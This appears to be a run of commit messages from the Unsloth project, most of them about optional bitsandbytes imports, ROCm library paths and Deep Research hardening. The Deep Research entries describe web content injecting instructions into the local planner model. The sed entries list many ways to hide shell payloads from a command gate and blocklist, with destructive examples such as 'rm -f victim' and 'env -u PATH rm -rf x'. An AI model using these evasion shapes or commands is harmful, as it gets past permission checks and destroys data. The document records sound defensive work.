Both names only feed isinstance checks, so nothing matching is exact.
- _gpu_init.py: same degradation on the xpu branch as the cuda branch above.
Verified on a Strix Halo (gfx1151, DEVICE_TYPE=hip, torch 2.11.0+rocm7.13.0)
by blocking bitsandbytes with sys.modules["bitsandbytes"] = None, so
find_spec returns None and the import raises exactly as when the package is
absent. Before: ModuleNotFoundError at kernels/utils.py:136. After: import
succeeds, FastLanguageModel/FastModel import, ALLOW_BITSANDBYTES=False,
ALLOW_PREQUANTIZED=False, and the 4bit stub raises with the real cause. With
bitsandbytes present, every binding is unchanged.
New test walks the `import unsloth` module graph with ast and fails on any
unguarded bitsandbytes (or peft Linear4bit) import; verified it catches the
old code. Targeted suites: 702 passed, 18 skipped.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address the review on #7502: zoo coupling, non-hip flags, py3.9 collection
Three findings, each reproduced first and negative-controlled after.
1. The fix still needed an unreleased unsloth_zoo (P1). save.py imported
unsloth_zoo.saving_utils at module scope, and any zoo without the companion
#953 fix imports bitsandbytes there, so `import unsloth` kept failing for a
dependency set pyproject.toml allows. Raising the floor was not an option:
PyPI's newest zoo is 2026.7.6 and #953 is merged but unreleased, so a bump
would break every install today. Both names it pulled in are used only inside
functions, so the import is now lazy at those two call sites, matching what
determine_base_model_source in the same file already does. Verified against a
real pre-#953 zoo checkout with bitsandbytes blocked: import succeeds, and
restoring the eager import reproduces the failure at saving_utils.py:70.
This PR no longer depends on a zoo release.
2. Capability flags were only cleared on hip (P2). device_type.py probed
bitsandbytes inside its DEVICE_TYPE == "hip" branch, so a cuda or xpu host
without bnb imported fine but still reported ALLOW_BITSANDBYTES=True, and the
default load_in_4bit=True path in models/loader.py would select a 4bit
checkpoint before failing. Clear both flags whenever the module is absent, on
every backend, via find_spec so a working install pays nothing. A cuda host
with bnb blocked now reports False/False; with bnb present nothing changes.
3. The new test could not be collected on Python 3.9 (P2). `Path | None` is a
PEP 604 union and requires-python still allows 3.9, so pytest raised
TypeError at import. Added `from __future__ import annotations`. Checked in
real uv venvs on 3.9, 3.10 and 3.13: 2 passed each; removing the future
import reproduces "unsupported operand type(s) for |" on 3.9 only.
The xpu branch in _gpu_init.py needs no separate flag handling now that the
probe is backend-independent.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address the second review on #7502: guarded probe, and 8bit in the same guard
1. The capability probe used find_spec while the fallbacks in kernels/utils.py
and _gpu_init.py treat any import failure as unavailable, so an installed but
unusable wheel would leave ALLOW_BITSANDBYTES true while the kernels had
already bound the stub. Probe with the same guarded import instead, so all
three agree by construction. No new cost on any path: _gpu_init.py already
imports bnb before device_type is reached on cuda, and device_type's own hip
block imports it a few lines later.
Worth recording that the state this prevents is currently unreachable for an
unrelated reason: a broken wheel takes `import unsloth` down earlier, in
transformers/integrations/bitsandbytes.py:20 via
unsloth_zoo/patching_utils.py:680, whichever exception it raises (OSError also
escapes the zoo moe_utils `except ImportError`). So this is correctness for
when those imports get guarded, not an observable fix today.
2. Both loader guards printed for load_in_4bit or load_in_8bit but only cleared
load_in_4bit, so an explicit load_in_8bit=True survived and reached
Transformers, which builds the bnb quantizer and fails there. Clear both. The
message no longer says AMD either: the flag now goes false whenever bnb is
unusable on any backend.
Tests: the probe must not use find_spec, and an ast walk requires every
ALLOW_BITSANDBYTES guard in loader.py to clear both flags, so a third guard
cannot be added with the same omission. Dropping either fix reddens them (1 and
2 failures respectively). 4 passed on 3.9, 3.13 and the ROCm venv; absent and
healthy bnb both stay consistent across hip and cuda.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop the importlib import left over from the find_spec probe on #7502
* Address the third review on #7502: exact-name bypass and a forwarded bnb config
Both findings hold up, so both are fixed.
1. use_exact_model_name=True skipped the guard entirely. load_in_4bit defaults
to True, so on a host without bitsandbytes
FastLanguageModel.from_pretrained(name, use_exact_model_name=True) kept 4bit
set and failed downstream. That option suppresses repo-name remapping and
cannot make bitsandbytes available, so it has no business gating a capability
check. Ungated at both sites.
2. A user-supplied quantization_config survived the fallback. It sets
load_in_4bit/8bit at the top of from_pretrained and stays in kwargs, so
clearing the local flags still let Transformers rebuild the bnb quantizer.
Now dropped as part of the fallback.
One correction to the second suggestion: it cannot be dropped whenever the
fallback runs. quantization_config also carries GPTQ, AWQ, fp8 and torchao
configs, which have nothing to do with bitsandbytes and must reach the loader
untouched. The pop is gated on the config actually requesting load_in_4bit or
load_in_8bit, reusing the same dict/attr probe from the top of the function.
Behaviour, exercising the real guard block against synthetic inputs with
use_exact_model_name=True and bnb unusable:
default 4bit, no cfg 4bit=False 8bit=False
explicit 8bit, no cfg 4bit=False 8bit=False
BitsAndBytesConfig(4bit/8bit) 4bit=False 8bit=False config dropped
dict bnb config 4bit=False 8bit=False config dropped
GPTQ config 4bit=False 8bit=False config SURVIVES
fp8 dict 4bit=False 8bit=False config SURVIVES
Nothing changes when bitsandbytes works: the whole block is inside
`if not ALLOW_BITSANDBYTES`.
Tests: an ast walk requires neither guard to reference use_exact_model_name in
its test, and requires each to pop quantization_config behind a _wants_bnb
check, so an unconditional pop fails too. Re-gating one guard or removing one
pop reddens a test each. 6 passed on 3.9, 3.13 and the ROCm venv.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address the fourth review on #7502: FastModel never reached the 16bit path
Both findings are real, and the second one meant this PR did not actually
deliver what it advertises for FastModel or vision loads. Reproduced first.
1. patch_compiling_bitsandbytes() ran unguarded at the top of
FastModel.from_pretrained, and unsloth_zoo's copy imports bitsandbytes
unconditionally (patching_utils.py:40). So every FastModel call on a
bnb-less host died there, whatever the arguments:
FastModel(load_in_16bit=True) -> ModuleNotFoundError at patching_utils.py:40
FastModel(full_finetuning=True) -> ModuleNotFoundError at patching_utils.py:40
The FastLanguageModel path already wraps this call in try/except with a
warning, and its comment even says "Mirror FastModel" - FastModel was the
unwrapped one. Wrapped it the same way, so behaviour is unchanged wherever
bitsandbytes imports.
2. The mode-exclusivity check ran before the capability fallback. load_in_4bit
defaults to True, so load_in_16bit=True made
int(load_in_4bit) + int(load_in_16bit) == 2 and raised "Can only load in 4bit
or 8bit or 16bit" before the fallback could clear the unavailable 4bit
request. Moved the fallback ahead of that check.
After both, the same three calls get past every bitsandbytes gate and reach
model resolution, failing only on the deliberately fake repo name used by the
probe. Nothing changes when bitsandbytes works: the fallback is still inside
`if not ALLOW_BITSANDBYTES`, and the wrapper only swallows an import that
previously crashed the load.
Tests: the mode check must be preceded by an ALLOW_BITSANDBYTES fallback in the
same function, and no call to patch_compiling_bitsandbytes may sit outside a
try. The ordering assertion is scoped to the enclosing function on purpose - my
first version compared line numbers file-wide, so the other loader's guard
satisfied it and the negative control passed when it should have failed. With
the scoping fixed, moving the fallback back after the mode check reddens it, as
does unwrapping the patch call. 8 passed on 3.9, 3.13 and the ROCm venv.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Add Unsloth desktop deep links
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address deep-link review feedback
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
studio-tauri-smoke.yml only ever built the crate, so none of its ~100 unit
tests executed. Running them surfaced two that were broken on platforms CI
never exercised:
- non_utf8_import_name_preserves_csv_extension built a filename containing a
raw 0xFF byte. Linux stores that fine, macOS enforces UTF-8 on APFS/HFS+ and
refuses to create it, so the test panicked on the unwrap. Skip when the
filesystem rejects the name; the branch under test is only reachable where
such a file can exist.
- losing_a_studio_package_changes_the_fingerprint created the posix venv
layout unconditionally, but site_packages_dirs() only walks
lib/<pyver>/site-packages on unix and looks at Lib/site-packages on Windows.
The dist-info was therefore invisible to the fingerprint there, removing it
changed nothing and the assert_ne could never hold. Build the layout the
code actually reads for the target platform.
Add the cargo test step to the existing Tauri job, where the toolchain and
WebKit dev packages are already installed.
* fix(studio): reuse cached tokens while highlighting streaming code blocks
A streaming fence re-enters highlight() every animation frame with the whole
block, so Shiki re-tokenizes it from scratch each time: O(length) per frame and
O(length^2) over the message. One generation made 808 highlight() calls and
tokenized 5.5MB of text to render a 13.5KB block, putting ~50% of the renderer
main thread in the TextMate tokenizer.
Blocks under 2000 chars are unchanged. Above that, a growing fence reuses the
tokens from the last real tokenization and appends the new tail unstyled, with
a full re-tokenize at most every 250ms.
* fix(studio): render the streamed tail unstyled and always converge
Two defects found while property-testing the reuse path:
- plainLine() spread the template token, so newly streamed lines inherited the
first token's colour instead of the default foreground. Emit a bare token.
- A reused result could be the final one if the caller stopped re-rendering,
leaving the tail permanently unstyled. Schedule a trailing re-tokenize so a
reused run always converges.
* fix(studio): key the highlight cache per fence and keep tokens paired with code
Review found four real defects in the previous approach:
- entry.code advanced at dispatch time while entry.result still held the older
tokens, so a reuse could slice one against the other and drop text from the
cached run's final line.
- A finished fence re-rendered with identical code re-dispatched every frame,
keeping the per-frame cost for the rest of the stream.
- All fences of one language shared a single entry, so sibling fences evicted
each other and both were fully tokenized on every render.
- An overdue trailing timer could dispatch stale code after a newer dispatch.
Cache is now one slot per fence, matched by longest prefix. code and result
only ever move together, an exact match is served straight from cache, and a
direct dispatch or a slot eviction cancels any pending trailing refresh.
* Studio: adopt synchronous highlight results and use a monotonic throttle
@streamdown/code answers out of its own cache synchronously and never invokes
the callback in that case. dispatch() ignored that return value, so the slot
kept pointing at the older tokens. On the trailing refresh, where nothing else
consumes the return, that left the fence showing its unstyled tail until an
unrelated remount. Adopt the synchronous result on both paths and hand it to
the pending callback.
Drive the throttle off performance.now(). Date.now() is wall clock, so a
backward step from an NTP correction or a resume from sleep makes elapsed
negative, which pins the reuse branch on and schedules the trailing refresh by
the size of the step.
* Tighten code-plugin comments
---------
Co-authored-by: shimmyshimmer <info@unsloth.ai>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* fix(rocm): prefer system LLVM runtime on native Linux
* Fix/adjust the nested LLVM probe for PR #7448: lib64 hosts and non-directories
Two gaps found while simulating the fix against real ROCm layouts.
1. lib64 hosts got no LLVM dir. The candidate was built from the HSA dir, so a
host with libhsa-runtime64 under lib64 probed <root>/lib64/llvm/lib. ROCm
installs LLVM under <root>/lib/llvm regardless, so that host kept binding
system libamd_comgr to the bundle's libLLVM: exactly the bug #7446 reports.
Probe both spellings, the HSA dir's own first so a genuine lib64 layout still
wins. When lib_sub is already "lib" the seen set collapses them.
2. os.path.exists accepted a non-directory. The serve-time caller joins these
straight into LD_LIBRARY_PATH with no is-dir filter, so a file named
llvm/lib reached the loader. os.path.isdir instead.
Verified on a 27-case matrix built from real directory trees (not mocks), run on
both Windows and Linux against three revisions: main, this PR as-is, and this
commit. Zero regressions and zero reorderings of the pre-existing entries in
every case, and the installer and launcher copies never disagree. The lib64 case
goes [lib64] -> [lib64, lib/llvm/lib]; the file case drops the bogus entry; a
symlinked llvm/lib resolves correctly on Linux.
End-to-end loader check: built real ELF objects mirroring the shipped bundle
(RUNPATH=$ORIGIN, an incomplete libLLVM.so.23.0git next to llama-server, system
comgr from /opt/rocm/lib) and reproduced the reported failure verbatim, then
confirmed the prepend clears it:
before undefined symbol: LLVMInitializeSPIRVTarget -> after exit 0
Test helper now patches os.path.isdir alongside os.path.exists, else every fake
host reports its nested llvm dir as missing. New cases: lib64 finding llvm under
lib, lib64 preferring its own when both exist, and a real-filesystem check that a
non-directory is not prepended. Removing the lib fallback from one copy reddens
three tests including the two-copy parity guard.
tests/studio/install: 1361 passed on Linux, 4 pre-existing environmental
failures unchanged (3 managed-node-runtime under root, 1 the real /opt/rocm case
already covered by #7397). 30/30 on the helper suite on Windows and Linux.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: add durable Deep Research workflows
* Studio: preserve research integration after upstream updates
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep research worker compatible with Python 3.11
* Studio: address Deep Research lifecycle review
* Studio: preserve durable research recovery
* Studio: preserve research stream and context
* Studio: harden research sources and limits
* Studio: align research with shared chats
* Studio: guard durable research actions
* Studio: protect durable research turns
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: deepen durable research decisions
* Studio: protect research prompts and queries
* Studio: slim research stream deltas
* Studio: preserve research evidence and citations
* Studio: harden Deep Research (CI, prompt injection, query PII, config, citations)
- Fix backend CI: add research_runs_router to the synthetic routes stub in
test_desktop_auth so studio.backend.main imports under the health-check test.
- Escape prompt-delimiter tags in the decision and synthesis prompts so gathered
web/document content cannot close an <untrusted_...> wrapper and inject
instructions into the local planner/decision/synthesis model.
- Extend the public-query sanitizer to redact Luhn-valid payment cards, phone
numbers, non-global IPs, and labeled private identifiers before a query can
reach web search.
- Reject nested credential keys in inferenceRequest and ragScope, not just
top-level keys, when persisting a durable run config.
- Treat maxSources as one budget shared across web and document sources
(collection and resume paths) instead of per type, which allowed up to 2x the
configured cap.
- Preserve document citations whose filename contains a closing bracket by
tokenizing valid citations before stripping invalid ones.
- Persist Deep Research off when switching to an external model and when enabling
Web Fetch so a refresh cannot rehydrate a mutually-exclusive state.
- Add regression tests for the query, prompt, citation, and config hardening.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make the research claims table migration atomic
The owner-scoped to global claims migration ran its RENAME, CREATE, INSERT and DROP in autocommit, so an interruption after CREATE left the new table empty, orphaned the rows in the legacy table, and never re-triggered. Wrap the rebuild in an explicit transaction so a crash rolls back cleanly and the migration re-runs on the next boot.
* Studio: block message edits and regeneration during an active research run
After a reload a durable research run is followed by the research store rather than an assistant-ui run, so thread.isRunning is false while research is still active. Message edit, refresh and the edit composer previously gated only on isRunning, which let a normal generation start alongside the running research run. Gate them on the active thread's research state as well.
* Studio: keep the plan review mounted through approval
Keying PlanReview on planRevision remounted it mid-approve when updateResearchPlan bumped the revision, resetting the local pending flag and re-enabling Start research while the approve was still in flight, which allowed a duplicate approve. Key on runId only.
* Studio: drop the redundant deep-research persistence change
setCheckpoint already persists Deep Research off for external models at the top of the function, so the added saveBool was a duplicate, and clearing Deep Research from setWebFetchToolsEnabled guarded a state that is not reachable (Deep Research is local-model only while the Web Fetch pill is external-provider only). Revert both to the pre-hardening version.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden Deep Research citations, query privacy, and message protection
Address review findings in the Deep Research backend:
- Escape an unbalanced ")" in citation destinations so a source URL cannot
close the markdown link early and inject a second link, keeping balanced
parentheses literal.
- Match raw-URL citations on whole tokens so a URL sharing another URL's
prefix is no longer partially rewritten.
- Redact non-global IPv6 addresses in public search queries, matching the
existing IPv4 handling.
- Detect credential key names after normalizing case and separators so nested
openaiApiKey, accessToken, and clientSecret values cannot be persisted.
- Reject client edits to server-managed research prompts and reports at the
storage layer; only the internal writers pass allow_research_update.
- Scope research searches to the first allowed domains instead of dropping
site scoping for large allow lists.
- Persist the same fetch evidence bound used during live synthesis so a
resumed run is not shortened.
- Scope run completion so it only replaces this run's message parts.
Add regression tests for the above.
* Studio: fix Deep Research SSE framing, source counts, and favicon privacy
- Normalize the whole SSE buffer so a CRLF split across transport chunks
still frames events.
- Count web and document sources together in the activity header so a
RAG-only run is not shown as zero sources.
- Cap the plan editor at the run's configured maxSteps instead of a
hard-coded 30.
- Add an allowRemoteIcons opt-out to the sources components and disable
third-party favicon requests for research sources so visited domains are
not leaked.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: address final Deep Research review findings
* Studio: fit Deep Research synthesis evidence to loaded context, add opt-in web grounding
Size the synthesis evidence budget to the loaded model context so the prompt is not
silently truncated on small contexts. When the evidence overflowed the window the report
degenerated (it echoed the evidence tail instead of writing); the budget now reserves tokens
for the prompt scaffolding and converts the remainder to chars, keeping the full cap when the
context is unknown.
Add opt-in web grounding for auto-read: read the top search results, ingest them into an
ephemeral RAG scope, hybrid-retrieve the passages most relevant to the question with the
existing knowledge-base retriever, and fold those chunks into the step evidence. The scope is
per call and deleted afterwards, so a user's knowledge base is never touched.
Off by default; enable with UNSLOTH_RESEARCH_AUTO_SCRAPE=1. Gated per run by
budgets["maxAutoScrape"], so runs created without it keep legacy snippet-only behavior, and
grounding is skipped when the loaded context is too small for the prompt.
Add tests for the adaptive evidence budget, scraped-text cleaning, the ephemeral web-RAG
retrieval and scope cleanup, and the auto-read evidence path.
* Studio: read Deep Research synthesis context from the inference orchestrator
Make the adaptive synthesis-evidence budget actually engage in the normal Studio
architecture. _loaded_context_length read core.inference.inference, the low-level backend that
lives in the model subprocess and stays unpopulated in the main web process where the research
supervisor runs, so it returned None and the budget silently fell back to the 32000 character
cap (leaving the report exposed to the truncation this was meant to fix). Read the inference
orchestrator instead, and the llama.cpp backend for GGUF, mirroring
routes.inference._monitor_context_length so the budget sizes to the context the API layer
serves. Verified on a running server: at a 12288 token load the probe now reports 12288 and the
budget adapts to 24576 characters instead of the 32000 fallback.
Also:
- Reserve context for the generated report as well as the prompt scaffolding (raise the reserve
to 4096 tokens) so evidence does not crowd out the output on a small window.
- Honor a numeric UNSLOTH_RESEARCH_AUTO_SCRAPE by passing the per-run maxAutoScrape as the page
cap to the scraper, instead of always reading the maximum.
- Guard the web-RAG connection acquisition so a get_connection failure returns the documented
empty result rather than propagating.
- Add a synthesis-context test that patches the real backend accessor (not the probe itself) so
the production wiring is exercised, plus a scrape page-cap test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden Deep Research query redaction and research autosave
- research_runs: extend the opaque-token allowlist so unlabeled Hugging
Face (hf_) and GitLab (glpat-) tokens are redacted before a query can
reach web search, without over-redacting public model or version ids.
- runtime-provider: for a server-managed research message, echo the
backend-stored metadata verbatim on autosave. Merging the client
metadata re-added client-only fields the server never persisted, so the
server-side guard saw a diff and rejected every streamed or snapshot
update with 409.
* Studio: keep composer tool pills always accessible after merge
The merge left the composer line marked always-expanded (data-expanded
"true") while the inner pill row was still gated behind composerExpanded,
so the Search and Code toggles disappeared once the permission mode was
"off" with no other toggle set. Render the primary tool pills
unconditionally, matching the always-expanded layout, and drop the now
unused composerExpanded and permissionMode locals. Fixes the Chat UI
Playwright check that asserts the Search and Code pills stay visible.
* Studio: update Deep Research composer contract to always-expanded layout
The always-expanded composer no longer routes effectiveDeepResearchEnabled
through a composerExpanded expression, so the frontend contract now checks
that it gates the Deep Research composer button render instead.
* Studio: do not bind a research run to a populated assistant reply
create_run adopted any assistant message under the user turn whose
researchRunId was unset, including a prior answer reused by a retry. On
completion _update_assistant drops the untagged text and source parts, so
that answer was silently overwritten. Only bind to an empty placeholder or
this run's own message, and reject a reply that already carries content.
* Studio: harden Deep Research synthesis budget, prompt shielding, and message protection
- research_runs: split the synthesis evidence budget evenly across notes so a
small context still keeps a slice of every research step instead of dropping
the later steps after the earliest ones fill the budget.
- research_runs: shield the research question and approved plan before placing
them in the decision and synthesis prompts, so a closing delimiter in either
cannot escape its block and inject sibling sections.
- research_runs: redact bearer authorization tokens from public search queries.
- studio_db: include attachments in the research-message change check and guard
direct attachment deletion, so server-managed research prompts and responses
cannot be mutated through the attachment paths.
- chat_history: map the protected-message conflict on attachment deletion to 409.
* Studio: strip invalid document citations that contain brackets
The invalid-citation regex stopped at the first closing bracket, so a
citation whose filename contained brackets left its tail (".pdf, p. 9]") in
the report. Match a balanced bracketed span so the whole invalid citation is
removed; valid citations stay protected by the earlier tokenization pass.
* Studio: free the RAG search slot when a lookup times out or is cancelled
The bounded knowledge-base search held the sole admission slot in a detached
worker until the search returned, so a lookup that outlived its timeout (a
stalled embedding or blocked vector call) kept the slot forever and starved
every later lookup, disabling knowledge-base retrieval globally. Release the
slot from the caller when it stops waiting, exactly once, so a detached worker
finishes without re-holding it.
* Studio: remove Websites label from research composer
* Studio: fix Deep Research review findings (RAG slot bound, orphaned workers, hardening)
- Bound the shared RAG search slot to one running worker. The search that is
doing the embedding/index/GPU work now owns the admission slot until it
finishes, instead of freeing it on caller timeout while the detached worker
keeps running, which let a second search enter and stack concurrent work
behind the capacity-of-one semaphore.
- Cancel active research runs before deleting their thread, project, or all
history. Deleting cascade-drops the run row, but the worker only notices at
its next lease check, so it could keep doing model/web/RAG work for a run
that no longer exists; signalling cancel first shortens that window.
- Shield the planner prompt's conversation and question with _shield_untrusted,
matching the decision and synthesis prompts, so untrusted text cannot forge
planner delimiters.
- Do not let a research key-revocation failure replace a successful
non-streaming completion; log it like the streaming path does.
- Include created_at in the protected research-message guard so a client cannot
reorder server-managed prompt/response messages while leaving the body intact.
- Reject non-scalar ragScope values; a nested container evades the
sensitive-key scan when its inner keys are unlisted and would reach retrieval
code that expects a scalar scope id.
Adds regression tests for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: remove research composer globe icon
* Studio: use Hugeicons telescope in research composer
* Studio: use Telescope02 icon in research composer
* Studio: standardize Deep Research telescope icons
* Studio: move Deep Research below web and code tools
* Studio: merge grounded page excerpts with search snippets instead of replacing
When auto-scrape grounding retrieved page-body chunks, it replaced the raw
search-result text for that step. If the retrieved chunk was a distractor or
dropped the key fact, the answer-bearing search snippet was lost and grounded
runs regressed below snippet-only accuracy on factual questions (e.g. returning
Apache 2.0 instead of the Qwen License, 403 instead of 404, or a single mirror
diameter instead of the sum).
Keep the search snippets and append the grounded excerpts as supplementary
evidence via a small _merge_scraped_evidence helper. Grounding stays opt-in and
off by default, so legacy runs are unchanged. Adds regression tests.
* Studio: improve Deep Research synthesis
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden Deep Research synthesis flow
* Studio: validate Deep Research derived context
* Studio: align Deep Research synthesis evidence
* Studio: restore Deep Research synthesis state
* Improve Deep Research source queries
---------
Co-authored-by: alkinun <alkinunl@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Fix Windows no-torch setup
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix no-torch env normalization on Windows
* Accept on for Windows no-torch mode
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep no-torch mode across studio update on Windows
Guarding the direct torch/Triton install made `install.ps1 --no-torch`
actually produce a torch-free venv, which then broke the next
`unsloth studio update`. That path exports no UNSLOTH_NO_TORCH, so
$NoTorchMode was false, the stale-venv check read the missing torch as a
broken venv, and setup tried to delete the venv it was running out of:
[ERROR] Could not remove stale venv: Access to the path 'python.exe' is denied.
That teardown can never succeed there, because setup.ps1 runs via
unsloth.exe out of that same venv. The same gap also let the shared
dependency pass reinstall torch from PyPI, unpinned, into a GGUF-only
environment.
install_python_stack.py now records the mode in the install manifest and
setup.ps1 reads it back when no env var is exported, then re-exports a
canonical value for the dependency pass (setup.ps1 drops the manifest
before invoking it, so the child cannot repeat the lookup). The key is
additive and MANIFEST_SCHEMA is unchanged, so existing manifests stay
valid and a missing key keeps today's behaviour.
Also:
- read_manifest() caught only OSError, but UnicodeDecodeError is a
ValueError. That is now on the installer's import path, so a manifest
re-saved as ANSI or truncated mid-write would abort every install.
- The env predicate now trims surrounding whitespace, matching the
Python side.
- The Windows update smoke workflow asserts the update leaves the venv
GGUF-only, which is what would have caught this.
Known follow-up, pre-existing: an install killed between the manifest
drop and the dependency pass leaves no recorded mode, so a later update
still walks the stale-venv path. Closing that needs a marker the
installer never drops.
* Persist no-torch mode in a marker the dependency pass cannot drop
The install manifest alone was not enough. Both setup.ps1 and
install_python_stack.py remove it before every dependency pass, and it is
only rewritten on success, so a no-torch install interrupted in between
left nothing recording the mode. The next update then resolved no-torch
as false, read the expected missing torch as a stale venv, and tried to
delete the environment whose python.exe was running it, which leaves the
install unrepairable from the CLI.
Add .unsloth-no-torch next to the existing .unsloth-studio-owned marker,
written before the pass and cleared when torch is wanted. setup.ps1
writes it as soon as the mode resolves, so the window between the
manifest drop and its own torch install is covered too.
Read order stays manifest key first, then marker, so migrating out of
no-torch is never blocked by a marker an earlier run left behind. Neither
present still reads as "install torch", so nothing changes for installs
made before either existed.
Also adds the AGPL-3.0 header the new test file was missing.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Gate the sed commands that run a shell
GNU sed executes a shell through its `e` command, both as a standalone
command (`sed -n '1e CMD' file`) and as an `s///e` flag that runs the
pattern space. It goes through popen(), so it is a literal `sh -c`, but
the terminal scan only ever saw `sed` at command position and treated the
program text as an ordinary argument.
That left `sed -n '1e rm -f victim' /etc/hosts` running with no prompt in
auto mode, and `_find_blocked_commands` returning nothing for it, so the
hard blocklist that applies in every mode missed `rm` as well.
Screens the program the same way the awk arm does. `-e` values are joined
with newlines first, since that is how sed assembles them: `sed -e '1a\'
-e 'e CMD'` appends a literal line and runs nothing, so judging the pieces
separately would prompt on a benign script. The scan then steps over every
region where `e` is data rather than a command: address and substitution
regexes, replacements, `a/i/c` text, `r`/`w` filenames, `b`/`t` labels and
comments. That keeps the common idioms silent, including `:e;N;$!be` loop
labels, `s/e/E/g`, and `s/a/b/we out.txt` where the `e` belongs to the `w`
filename and sed does not execute.
The blocklist scan recurses into a literal `e` payload the same way it
already does for `bash -c`. A bare `e` or an `s///e` can only be prompted,
since what they run is the pattern space, which is input-file text that is
not knowable statically.
Verified against real GNU sed 4.9 rather than the manual: 80 commands run
for real with a marker payload, comparing what sed actually executed
against the classifier, with no mismatches in either direction.
* Close five ways a sed program hid its shell payload
Review found five shapes the first pass missed. All five execute on GNU
sed 4.9, checked by running them rather than reading the manual.
A payload line ending in a backslash continues onto the next line, so the
scan now ends an `e` at an unescaped newline and unescapes the text the way
sed's read_text does. That is what resolves `r''m` back to `rm` for the
blocklist.
A sed comment ends at a real newline, but the terminal scan had already
replaced every newline with `;`, including newlines inside quotes, so
`# comment` swallowed the rest of the program. The sed arm now also sees a
variant where only unquoted newlines become separators, built on a
character-by-character quote scanner rather than a regex: an apostrophe in
a double-quoted word mis-pairs under a regex and inverts the state, which
opened a bypass while this was being written.
Everything attached to `-i` is a backup suffix, so reading `-ifoo` as an
attached `-f` lost the real script. Replaced the shared short-flag helper
with sed's own option grammar, which also fixes `-l 5` and
`--line-length 5` eating the script as their operand.
A sed child of `find -exec` was never recorded, so the blocklist skipped
its payload.
Substituted text splices straight into the program, and an address is as
good a place as any to open `;e CMD`, so a command substitution anywhere
in the program is treated as unresolvable. Scoped to the program: a
substitution in a file operand still runs, a `$(` or backtick inside single
quotes is literal, and parameter and arithmetic expansion are untouched.
The cost is that a substitution used to build a program now asks.
Bounding the -exec walk keeps the blocklist linear; without it a repeated
`-exec sed` line went quadratic.
Verified against real GNU sed across 103 commands run for real, no
mismatch in either direction.
* Fail closed on padded sed lines, and stop gating sed --sandbox
Four more from review, each checked by running it rather than reading the
manual.
The cap that keeps the argument walk linear was itself the bypass: padding
a line with 128 valid options pushes the script past it, and an empty
program read as proof the command only edits text. The budget is now shared
across the sed words on a line, so a lone sed reads its whole argument list
while a line packed with sed words keeps the floor that holds the walk
linear, and overflow fails closed instead of falling through.
The substitution scan counted parentheses without consulting quote state,
so a quoted paren in the substitution body left the span unterminated and
the program never matched. It now balances through the same quote scanner
used elsewhere, since a substitution body reopens quoting.
A wrapper between -exec and its child hid the child from the blocklist.
Following the wrapper also fixes the neighbouring blocked-name check, which
missed find . -exec env rm the same way. The wrapper's own name is still
screened: -exec sudo rm reports both.
sed --sandbox and --posix refuse e outright and exit 1, so gating them was
prompting for something that cannot run. They are now inert, except after
--, where the flag is an input filename and the script still executes.
env -u still hides a child from the blocklist, on this path and at top
level. That is pre-existing and left alone here.
* Resolve the sed program through find, wrappers, globs and variables
Five more from review, each run against real sed rather than read off the
manual.
find's -exec ends at + or ;, but the sed argument walk ran past it into the
next predicate, where a following -exec grep -e safe was read as sed's own
-e and discarded the real script. Stopping at the terminator also removes a
false prompt, since -exec was being parsed as -e xec and inventing a payload.
Hopping a wrapper skipped its name but not an option that takes a separate
operand, so env -u FOO sed returned FOO as the child. The table this file
already keeps for wrapper options covers it, moved up so both layers share
it. That also settles the top level: env -u PATH rm -rf x now reports rm,
as do env --unset, stdbuf -o L and xargs -I {}. Two false positives go with
it, timeout -s KILL 5 rm blaming the signal name and env -u kill blaming a
variable name, while timeout -s KILL 5 kill -9 1 still reports kill.
A program held in a variable was invisible: the assignment regex stops its
value at whitespace, so a program containing a newline never entered the
map in any pass. Resolved at the token level instead, where the value is
already whole. Both the written and the resolved program are screened,
since either can hold the e.
A command-position glob that can resolve to sed is treated as sed. The
auto gate already asks about any unresolved command glob; this is for the
blocklist, which did not know the name.
Inside double quotes a backslash makes the next character literal, so
sed "s/\$(CC)/gcc/" runs no substitution and should never have asked. The
quote scanner now reports an escaped character under its own state.
Left open: on Windows the blocklist lexer keeps quoting in its tokens, so
a multiline program held in a variable resolves there but not to a name
the blocklist reads. The prompt still fires on every platform.
* Ask when the sed program is not a literal we can read
Two from review, and the second one changes the default rather than adding
another case.
sed --sandbox and --posix were being read as disabling e for the whole
invocation. They disable exactly the scripts written after them: sed
